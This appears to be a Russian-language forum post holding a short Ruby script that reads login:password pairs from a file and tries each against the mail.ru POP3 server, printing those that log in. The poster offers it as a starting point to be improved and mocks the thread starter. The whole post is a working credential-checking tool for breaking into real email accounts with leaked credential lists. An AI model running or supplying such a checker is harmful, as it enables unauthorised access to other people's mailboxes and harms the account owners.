require 'net/pop'
pop = Net::POP3.new('pop.mail.ru')
fsource = File.open("source.txt")
begin
while (value = fsource.readline)
begin
pop.start(value.split(":")[0],value.split(":")[1])
puts value
rescue Net::POPAuthenticationError => e
puts e.to_s
end
end
rescue EOFError
fsource.close
end
вот скриптик, на Руби , допилить напильником выйдет неплхо)) хотя ТС наврядли осилит.